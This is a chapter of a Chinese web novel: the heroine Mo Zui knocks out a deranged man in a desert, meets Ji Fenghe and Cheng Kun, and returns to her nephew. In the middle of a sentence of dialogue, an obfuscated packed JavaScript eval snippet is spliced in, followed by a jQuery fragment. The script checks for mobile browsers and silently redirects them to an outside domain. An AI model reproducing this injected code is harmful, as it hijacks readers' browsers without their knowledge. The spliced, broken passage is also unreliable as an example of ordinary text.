脑袋后面有劲风袭来,快而猛烈,吹得莫醉凌乱披在肩头的长发乱飞。
右侧是敞开的车门,前方是坐着人的越野车副驾,后方是周寻的攻击,只有左侧是唯一的缺口,可以逃生。
莫醉将手电咬住,没有任何犹豫,向左侧歪头折腰躲过周寻的攻击后,后撤一步,将身子向后压,腰部柔软如蛇,在空中划了个半个圈,再起身时已然直面周寻,拉开半臂距离,强光直射他的眼睛。
周寻被困在无人区中已有几天,浑身虚弱,脚步虚浮,加之被手电光直射,适应光线的功夫动作停了一瞬。他双手握着个千斤顶,哆哆嗦嗦,偏双眼全是恶念,带着几分癫狂的疯,口中自言自语,像是着了魔似的:“杀了你,只要杀了你,我就有食物了,我就能出去了。”
莫醉挑眉,心中却愈发警惕。
她不怕一个虚弱但理智尚存的人,却会警惕一个虚弱的疯子。疯子动起手来毫无章法,还不畏惧疼痛,比正常人难缠多了。
莫醉思索的这几秒,周寻再次挥舞着手中千斤顶向她袭来。大晚上的,夜风凉飕飕的,莫饥还在等她回去,她不想多纠缠,手攀住越野车顶部的行李架,脚在车门框上蹬了一下,借力腾空而起,一脚踢在他双手关节处。
周寻双手瞬间脱力,千斤顶被踢飞,落到一米外的沙土上,发出沉闷的响声。莫醉并不罢休,单脚踩在他的手肘弯曲处,松开握住架子的手,腰部用力,硬生生将身子撑起,而后跨坐到他的后脖颈,一手按住他的头顶,另一只手曲起指节,敲击他的太阳穴。
一套动作干净利落,毫不拖泥带水,周寻只来得及看到一只脏兮兮的运动鞋,之后有什么东西从他的眼前闪过,再然后,就什么都不知道了。
周寻身子软趴趴倒下,和他的千斤顶并排躺在一处。莫醉一跃而下,方免了同他一起摔在沙土地上的命运。
飞舞的发丝一根一根落下,荒野上呐喊的风安静了几分。莫醉站起身来,拍打着身上的尘土,将口中咬着手电吐出,握在手中。她正要松口气,一抬眼便看到不远处的一辆车,以及逆着车灯光向她走来的两个人。
手电的光打在他们身上,将他们的一举一动照得清清楚楚。走在前面的这人身姿颀长,穿着荧光色的冲锋衣,在荒漠中格外醒目。他的身形莫名熟悉,莫醉眯着眼看,瞧见那高挺的鼻梁和似笑非笑的眼,恍然想起,这不就是来旅店找她的那个改善沙漠环境的环保卫士吗!
刚刚只顾着和周寻干架,倒是没注意这俩人是什么时候来的,更不知道刚刚的事他们看到多少。莫醉将副驾的车门合上,站在车门前挡住二人的视线,等二人走到面前时,用脚踢了踢地上躺着的周寻,笑眯眯解释:“放心,人没死。我收着力呢,力度刚刚好,懵逼不伤脑。只是帮他平缓心情,让身体安静下来。估计一会儿就醒了。”
好一个平缓心情。
季风禾尚未说话,他身边的那人率先开口,嗓门极大:“刚刚我们都看到了,姑娘,你这身手太利落了,练过吧?”
莫醉这才看清季风禾身边那人的长相。比季风禾矮一些,身形圆润,花衬衫混搭牛仔外套工装裤。下巴上蓄着乱七八糟的胡子,头顶是蓬松的爆炸头,脸上是被西北风沙经年吹出的沧桑,和个流浪艺术家似的。
莫醉随口糊弄着:“幼儿园的时候混社会的,常去附近小学挑衅,那个时候练出来的。”
那人听出她的敷衍,倒也不恼,笑眯眯伸出手:“成坤。”
“陈友谅。”莫醉嘴比脑子快,伸出手与他握了下,又解释道,“开玩笑的,我叫莫醉。”
成坤乐呵呵解释:“是乾坤的坤。”
季风禾站在一旁,视线扫过四周,悠悠道:“一个人来的?”
莫醉愣了一秒,才反应过来这人是在和她说话。
这叫什么话?她又没钱雇人,自然是一个人来的。莫醉颔首,不和金主爸爸争执:“你走了之后我就出发了,倒是没想到你也进来了。”她上前半步,拍拍他的肩膀,挤出个悲伤的表情,“我知道你对你未婚妻用情极深,可还是要节哀,要保持镇定,有什么情绪,出去之后再说。”
莫醉指的是季风禾被绿这件事,但季风禾显然误会了她的意思。
副驾车窗贴着防窥膜,黑漆漆的,什么都看不见。季风禾沉默一瞬,想起刚刚看到的人形轮廓,眯起眼睛:“死了?”
“那哪儿能呢?”莫醉将手电搁到车顶上,从口袋里掏出手机,“你开一下蓝牙。”
季风禾没动作:“做什么?”
“发你银行卡号啊。人找到了,还活着,二十万别忘了付。”
莫醉的手机已经用了许久,屏幕上碎痕和划痕交替遍布,早就不太灵敏。此刻屏幕上浮着尘土和沙粒,她戳了几下,见手机没有任何反应,熟练地将手机屏幕熄灭,在身上蹭了蹭,再打开时,终于能滑动屏幕。
她翻出一张照片,打开蓝牙传输,搜索附近的人,片刻后弹出一个新用户,“季”。
这名字规规矩矩板板正正,不失礼的同时几分疏离,应该就是季风禾的用户名了。
莫醉戳了戳屏幕上的“季”字,怕他赖账,嘀嘀咕咕道:“虽然你也赶到了这地方,但人是我先发现的,问题也是我先解决的,钱款要照付。我本来想把人给你送出去的,但既然你来了,你直接带走,我给你打个折,车辆损耗费和油钱就不用你付了。”
手机抖动了一下,季风禾低头看屏幕。
“神秘又迷人的大佬”向你投送一张图片,是否接受?
季风禾:……
季风禾接收了照片,一瞬后屏幕上出现半张写了字的纸。纸张微微泛黄,像是从笔记本上随意扯下来的。纸上的字歪歪扭扭,勉强认出是银行名字和银行卡号,最后一行是户主的名字,莫仲磊。
他将照片存下:“怎么不是你的账户?”
“莫仲磊是我哥,打到他的账上,便是打到我的账上。”莫醉不想多说此事,将手机插回屁兜里,又将车顶的手电筒收回,转身拉开了副驾的门。
不省人事的蔡思韵出现在几人面前。
莫醉将从莫饥处听到的故事中,和蔡思韵相关的部分简要转述,末了总结了几句:“你未婚妻和那个叫周寻的在这,但你未婚妻的男朋友——呃,男性朋友,那个叫边洛阳的,还有那个叫张腾的,目前不知所踪。”
成坤抢先一步走到副驾座位旁弯下腰,将蔡思韵脖颈处的围巾全部扯开,露出紫红色的掐很。他盯着仔细看了一会儿,时不时用手指触碰一下伤痕,逐渐严肃了表情。
“没生命危险,只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372137|183971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昏过去了,加上有点发烧,这才一直没醒。最好能尽快把她送出去,去医院做个检查,排除一下脑损伤。”
莫醉扶着车门,举着手电给成坤打光,时不时偷瞄一眼一旁的季风禾。
他并未靠近,只站在几步外看着,表情平静,不悲不怒。
他一定是沉浸在巨大的悲痛中,不知该如何面对,只能佯装镇定,维持男人最后的尊严。
真是个可怜人啊。
季风禾注意到她的目光,微微侧眸:“怎么了?”
莫醉收起眼中的怜悯,给对面的人留足面子,随意道:“在想要怎么分配。”她转了下手腕,让手电的光照向几十米外停着的车,“两辆车,六个人,还有两个没找到,有点麻烦。”
“你带了人来?”
“半路遇到了莫饥,就顺便带上了。”莫醉站直身子,与车门分离,“这姑娘要尽快送出去,地上这个最好也尽快交给警察叔叔。”
此时已是子夜,风沙比刚刚大了不少。狂风穿越空旷的无人区,怒吼着咆哮着,几乎要震碎耳膜。此刻几人站在雅丹群边缘背风处,尚算安全,但若贸然开出这个安全区,失踪人数兴许又要增加几个。
莫醉眯着眼眺望远处,片刻后道:“今年天气怪,瞧这模样,后半夜风沙会变得更大。我建议你们给外界报个信儿,明早天亮再出发。你们四个人,刚好坐满一辆车。”
季风禾立刻明白了她不准备离开:“你要继续找剩下的两个人?”
莫醉叹了口气,摊摊手:“我都到这了,也不差再费最后这点油了,索性好人做到底,送佛送到西。”
本就是萍水相逢,季风禾并不多说:“好,注意安全。”
-
莫醉将这边的烂摊子留给季风禾和成坤,潇洒挥手离开,赶在风沙变得更大,原路返回,找莫饥会合。
她穿过层层叠叠奇形怪状的雅丹群,边走边觉得事情隐隐有些不对,仿佛她忘记了什么事。莫醉晃着手电,时不时踢几脚地上无辜的小石块,直到走回皮卡附近,也没想起她究竟忘了什么,心情愈发烦躁。
皮卡停泊的地方正好在风口,不过一会儿的功夫,车上已积了一层沙土。前挡风玻璃被糊得彻底,看不清里面的人。莫醉溜溜达达走到跟前,用手擦出一小块干净的地方,让手电的光透过玻璃,直直打在莫饥的脸上。
莫饥被强光刺醒,揉了揉眼睛,推开车门含糊道:“姑,你回来了!”
莫醉几乎要被他气笑了:“大侄子,睡得可好?”
莫饥自知理亏,翻过扶手箱挪到副驾的位置上,将驾驶座的位置让出来:“姑,我太困了,一不小心就睡过去了……”他侧头看向莫醉身后,没瞧见任何人,疑惑道,“姑,你不是找人去了吗?可找到了?”
莫醉不和他客气,一屁股坐进车中,长舒一口气:“嗯,找到那四个大学生中的两个。”
“都还活着?”
“嗯。”古怪的感觉再次涌上莫醉的心头,她眯起眼睛盯着莫饥,“你问这个做什么?”
她的眼神太过可怕,是挨揍的前兆。莫饥咽了口口水,小心翼翼道:“不是你说的吗,这座雅丹群中有不止一个人,有活人有死人。可你刚刚又说,看到的两个人都是活人……那死人呢?死人又去了哪里?”